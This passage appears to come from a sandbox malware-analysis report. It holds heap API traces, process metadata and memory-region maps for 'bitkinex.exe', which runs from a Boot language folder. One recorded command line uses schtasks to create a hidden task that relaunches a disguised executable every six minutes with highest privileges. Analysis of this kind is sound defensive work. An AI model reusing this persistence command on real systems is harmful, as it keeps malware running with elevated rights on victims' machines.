MemoryPointer=0x2ed7c0) returned 0x10 [0073.437] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed7c0 | out: hHeap=0x2d0000) returned 1 [0073.437] GetProcessHeap () returned 0x2d0000 [0073.437] GetProcessHeap () returned 0x2d0000 [0073.437] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecd90) returned 1 [0073.437] GetProcessHeap () returned 0x2d0000 [0073.437] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ecd90) returned 0x20 [0073.438] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecd90 | out: hHeap=0x2d0000) returned 1 [0073.438] GetProcessHeap () returned 0x2d0000 [0073.438] GetProcessHeap () returned 0x2d0000 [0073.438] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ebb90) returned 1 [0073.438] GetProcessHeap () returned 0x2d0000 [0073.440] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ebb90) returned 0x18 [0073.440] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ebb90 | out: hHeap=0x2d0000) returned 1 [0073.440] GetProcessHeap () returned 0x2d0000 [0073.440] GetProcessHeap () returned 0x2d0000 [0073.440] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5b40) returned 1 [0073.440] GetProcessHeap () returned 0x2d0000 [0073.440] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e5b40) returned 0x20 [0073.440] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5b40 | out: hHeap=0x2d0000) returned 1 [0073.440] GetProcessHeap () returned 0x2d0000 [0073.441] GetProcessHeap () returned 0x2d0000 [0073.441] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5b70) returned 1 [0073.441] GetProcessHeap () returned 0x2d0000 [0073.441] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e5b70) returned 0x20 [0073.441] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5b70 | out: hHeap=0x2d0000) returned 1 [0073.441] GetProcessHeap () returned 0x2d0000 [0073.441] GetProcessHeap () returned 0x2d0000 [0073.441] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5ba0) returned 1 [0073.441] GetProcessHeap () returned 0x2d0000 [0073.441] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e5ba0) returned 0x20 [0073.442] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5ba0 | out: hHeap=0x2d0000) returned 1 [0073.442] GetProcessHeap () returned 0x2d0000 [0073.442] GetProcessHeap () returned 0x2d0000 [0073.442] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5bd0) returned 1 [0073.442] GetProcessHeap () returned 0x2d0000 [0073.442] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e5bd0) returned 0x20 [0073.442] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5bd0 | out: hHeap=0x2d0000) returned 1 [0073.442] GetProcessHeap () returned 0x2d0000 [0073.442] GetProcessHeap () returned 0x2d0000 [0073.442] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ebbb0) returned 1 [0073.442] GetProcessHeap () returned 0x2d0000 [0073.442] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ebbb0) returned 0x18 [0073.442] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ebbb0 | out: hHeap=0x2d0000) returned 1 [0073.443] GetProcessHeap () returned 0x2d0000 [0073.443] GetProcessHeap () returned 0x2d0000 [0073.443] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5c00) returned 1 [0073.443] GetProcessHeap () returned 0x2d0000 [0073.443] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e5c00) returned 0x20 [0073.443] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5c00 | out: hHeap=0x2d0000) returned 1 [0073.443] GetProcessHeap () returned 0x2d0000 [0073.443] GetProcessHeap () returned 0x2d0000 [0073.443] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5c90) returned 1 [0073.443] GetProcessHeap () returned 0x2d0000 [0073.443] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e5c90) returned 0x20 [0073.444] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5c90 | out: hHeap=0x2d0000) returned 1 [0073.444] GetProcessHeap () returned 0x2d0000 [0073.444] GetProcessHeap () returned 0x2d0000 [0073.444] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5cf0) returned 1 [0073.444] GetProcessHeap () returned 0x2d0000 [0073.444] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e5cf0) returned 0x20 [0073.444] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5cf0 | out: hHeap=0x2d0000) returned 1 [0073.444] GetProcessHeap () returned 0x2d0000 [0073.444] GetProcessHeap () returned 0x2d0000 [0073.444] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5d50) returned 1 [0073.444] GetProcessHeap () returned 0x2d0000 [0073.444] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e5d50) returned 0x20 [0073.445] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5d50 | out: hHeap=0x2d0000) returned 1 [0073.445] GetProcessHeap () returned 0x2d0000 [0073.445] GetProcessHeap () returned 0x2d0000 [0073.445] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5d80) returned 1 [0073.445] GetProcessHeap () returned 0x2d0000 [0073.445] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e5d80) returned 0x20 [0073.445] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5d80 | out: hHeap=0x2d0000) returned 1 [0073.445] GetProcessHeap () returned 0x2d0000 [0073.445] GetProcessHeap () returned 0x2d0000 [0073.445] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ebbd0) returned 1 [0073.445] GetProcessHeap () returned 0x2d0000 [0073.445] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ebbd0) returned 0x18 [0073.445] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ebbd0 | out: hHeap=0x2d0000) returned 1 [0073.445] GetProcessHeap () returned 0x2d0000 [0073.446] GetProcessHeap () returned 0x2d0000 [0073.446] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5cc0) returned 1 [0073.446] GetProcessHeap () returned 0x2d0000 [0073.446] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e5cc0) returned 0x20 [0073.446] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5cc0 | out: hHeap=0x2d0000) returned 1 [0073.446] GetProcessHeap () returned 0x2d0000 [0073.446] GetProcessHeap () returned 0x2d0000 [0073.446] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ebb50) returned 1 [0073.446] GetProcessHeap () returned 0x2d0000 [0073.446] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ebb50) returned 0x18 [0073.446] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ebb50 | out: hHeap=0x2d0000) returned 1 [0073.446] exit (_Code=0) Thread: id = 148 os_tid = 0xffc Process: id = "33" image_name = "bitkinex.exe" filename = "c:\\boot\\hu-hu\\bitkinex.exe" page_root = "0x3dccb000" os_pid = "0xa1c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "28" os_parent_pid = "0xfb4" cmd_line = "C:\\Boot\\hu-HU\\bitkinex.exe " cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f1fb" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3614 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 3615 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3616 start_va = 0x1c0000 end_va = 0x2bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 3617 start_va = 0xda0000 end_va = 0xe77fff monitored = 1 entry_point = 0xe6f1ee region_type = mapped_file name = "bitkinex.exe" filename = "\\Boot\\hu-HU\\bitkinex.exe" (normalized: "c:\\boot\\hu-hu\\bitkinex.exe") Region: id = 3618 start_va = 0x77be0000 end_va = 0x77d88fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3619 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 3620 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3621 start_va = 0x7fefff00000 end_va = 0x7fefff00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 3622 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 3623 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 3624 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Region: id = 3625 start_va = 0x2c0000 end_va = 0x50ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002c0000" filename = "" Region: id = 3626 start_va = 0x7fef70d0000 end_va = 0x7fef713efff monitored = 1 entry_point = 0x7fef70d1134 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 3627 start_va = 0x779c0000 end_va = 0x77adefff monitored = 0 entry_point = 0x779d5340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3628 start_va = 0x7fefddf0000 end_va = 0x7fefde5bfff monitored = 0 entry_point = 0x7fefddf2780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 3629 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3630 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 3631 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 4078 start_va = 0x40000 end_va = 0xa6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4079 start_va = 0xb0000 end_va = 0x15ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 4080 start_va = 0x2c0000 end_va = 0x3bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002c0000" filename = "" Region: id = 4081 start_va = 0x490000 end_va = 0x50ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 4082 start_va = 0x510000 end_va = 0x71ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000510000" filename = "" Region: id = 4083 start_va = 0x7feffcb0000 end_va = 0x7feffd8afff monitored = 0 entry_point = 0x7feffcd0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 4084 start_va = 0x7feffd90000 end_va = 0x7feffe2efff monitored = 0 entry_point = 0x7feffd925a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 4085 start_va = 0x7fefdf00000 end_va = 0x7fefdf1efff monitored = 0 entry_point = 0x7fefdf060e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 4086 start_va = 0x7fefdf20000 end_va = 0x7fefe04cfff monitored = 0 entry_point = 0x7fefdf6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 4087 start_va = 0xb0000 end_va = 0xdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 4088 start_va = 0x150000 end_va = 0x15ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 4089 start_va = 0x510000 end_va = 0x60ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000510000" filename = "" Region: id = 4090 start_va = 0x6a0000 end_va = 0x71ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006a0000" filename = "" Region: id = 4091 start_va = 0x7fef7020000 end_va = 0x7fef70c8fff monitored = 1 entry_point = 0x7fef7021010 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 4092 start_va = 0x7fef9890000 end_va = 0x7fef9892fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 4636 start_va = 0x7feffa20000 end_va = 0x7feffa90fff monitored = 0 entry_point = 0x7feffa31e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 4637 start_va = 0x7feff680000 end_va = 0x7feff6e6fff monitored = 0 entry_point = 0x7feff68b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 4638 start_va = 0x77ae0000 end_va = 0x77bd9fff monitored = 0 entry_point = 0x77afa2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 4639 start_va = 0x7feff6f0000 end_va = 0x7feff6fdfff monitored = 0 entry_point = 0x7feff6f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 4640 start_va = 0x7feff4d0000 end_va = 0x7feff598fff monitored = 0 entry_point = 0x7feff54a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 4641 start_va = 0xe0000 end_va = 0x108fff monitored = 0 entry_point = 0xe1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4642 start_va = 0x720000 end_va = 0x8a7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000720000" filename = "" Region: id = 4643 start_va = 0xe0000 end_va = 0x108fff monitored = 0 entry_point = 0xe1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4644 start_va = 0x7feffaa0000 end_va = 0x7feffacdfff monitored = 0 entry_point = 0x7feffaa1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5113 start_va = 0x7feff700000 end_va = 0x7feff808fff monitored = 0 entry_point = 0x7feff701064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 5114 start_va = 0x8b0000 end_va = 0xa30fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008b0000" filename = "" Region: id = 5115 start_va = 0xe80000 end_va = 0x227ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000e80000" filename = "" Region: id = 5456 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 5457 start_va = 0xb0000 end_va = 0xb0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 5458 start_va = 0xd0000 end_va = 0xdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 5459 start_va = 0xa40000 end_va = 0xb10fff monitored = 1 entry_point = 0xb0f1ee region_type = mapped_file name = "bitkinex.exe" filename = "\\Boot\\hu-HU\\bitkinex.exe" (normalized: "c:\\boot\\hu-hu\\bitkinex.exe") Region: id = 5460 start_va = 0xa40000 end_va = 0xb10fff monitored = 1 entry_point = 0xb0f1ee region_type = mapped_file name = "bitkinex.exe" filename = "\\Boot\\hu-HU\\bitkinex.exe" (normalized: "c:\\boot\\hu-hu\\bitkinex.exe") Region: id = 5461 start_va = 0x7fefccf0000 end_va = 0x7fefccfbfff monitored = 0 entry_point = 0x7fefccf1064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 5569 start_va = 0x7fef1520000 end_va = 0x7fef1fe6fff monitored = 1 entry_point = 0x7fef15263a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 5570 start_va = 0x7fef1520000 end_va = 0x7fef1fe6fff monitored = 1 entry_point = 0x7fef15263a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 5571 start_va = 0x7fef1520000 end_va = 0x7fef1fe6fff monitored = 1 entry_point = 0x7fef15263a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 5572 start_va = 0x7fef79b0000 end_va = 0x7fef79c5fff monitored = 0 entry_point = 0x7fef79bc000 region_type = mapped_file name = "vcruntime140_clr0400.dll" filename = "\\Windows\\System32\\vcruntime140_clr0400.dll" (normalized: "c:\\windows\\system32\\vcruntime140_clr0400.dll") Region: id = 5573 start_va = 0x7fef3df0000 end_va = 0x7fef3eacfff monitored = 0 entry_point = 0x7fef3e77db0 region_type = mapped_file name = "ucrtbase_clr0400.dll" filename = "\\Windows\\System32\\ucrtbase_clr0400.dll" (normalized: "c:\\windows\\system32\\ucrtbase_clr0400.dll") Region: id = 5689 start_va = 0xc0000 end_va = 0xc0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 5690 start_va = 0xe0000 end_va = 0xeffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 5691 start_va = 0xf0000 end_va = 0xfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 5692 start_va = 0x7fe91eb0000 end_va = 0x7fe91ebffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91eb0000" filename = "" Region: id = 5693 start_va = 0x7fe91ec0000 end_va = 0x7fe91ecffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91ec0000" filename = "" Region: id = 5694 start_va = 0x7fe91ed0000 end_va = 0x7fe91f5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91ed0000" filename = "" Region: id = 5695 start_va = 0x7fe91f60000 end_va = 0x7fe91fcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91f60000" filename = "" Region: id = 5696 start_va = 0x100000 end_va = 0x100fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 5697 start_va = 0x110000 end_va = 0x110fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 5698 start_va = 0x3c0000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003c0000" filename = "" Region: id = 5699 start_va = 0xa40000 end_va = 0xc0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a40000" filename = "" Region: id = 5820 start_va = 0xa50000 end_va = 0xb4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a50000" filename = "" Region: id = 5821 start_va = 0xb90000 end_va = 0xc0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b90000" filename = "" Region: id = 5822 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 5823 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 5824 start_va = 0x2280000 end_va = 0x1a27ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002280000" filename = "" Region: id = 6136 start_va = 0x1a280000 end_va = 0x1a5fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a280000" filename = "" Region: id = 6137 start_va = 0xc10000 end_va = 0xd10fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c10000" filename = "" Region: id = 6138 start_va = 0x1a7f0000 end_va = 0x1a8effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a7f0000" filename = "" Region: id = 6139 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 6666 start_va = 0x1a630000 end_va = 0x1a72ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a630000" filename = "" Region: id = 6667 start_va = 0x1a8f0000 end_va = 0x1a9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a8f0000" filename = "" Region: id = 6668 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Thread: id = 167 os_tid = 0xa28 Thread: id = 235 os_tid = 0x4d8 Thread: id = 260 os_tid = 0xa20 Thread: id = 281 os_tid = 0xdfc Process: id = "34" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x3dc65000" os_pid = "0x718" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xa54" cmd_line = "schtasks.exe /create /tn \"countryyouc\" /sc MINUTE /mo 6 /tr \"'C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\countryyou.exe'\" /rl HIGHEST /f" cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f1fb" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3145 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 3146 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3147 start_va = 0x40000 end_va = 0xbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000040000" filename = "" Region: id = 3148 start_va = 0xc0000 end_va = 0xc0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 3149 start_va = 0x77be0000 end_va = 0x77d88fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3150 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 3151 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3152 start_va = 0xff9d0000 end_va = 0xffa17fff monitored = 1 entry_point = 0xff9f966c region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 3153 start_va = 0x7fefff00000 end_va = 0x7fefff00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 3154 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 3155 start_va = 0x7fffffda000 end_va = 0x7fffffdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 3156 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 3157 start_va = 0xd0000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 3158 start_va = 0x779c0000 end_va = 0x77adefff monitored = 0 entry_point = 0x779d5340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3159 start_va = 0x7fefddf0000 end_va = 0x7fefde5bfff monitored = 0 entry_point = 0x7fefddf2780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 3160 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3161 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 3162 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 3163 start_va = 0x200000 end_va = 0x266fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3164 start_va = 0x7feffd90000 end_va = 0x7feffe2efff monitored = 0 entry_point = 0x7feffd925a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 3165 start_va = 0x77ae0000 end_va = 0x77bd9fff monitored = 0 entry_point = 0x77afa2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 3166 start_va 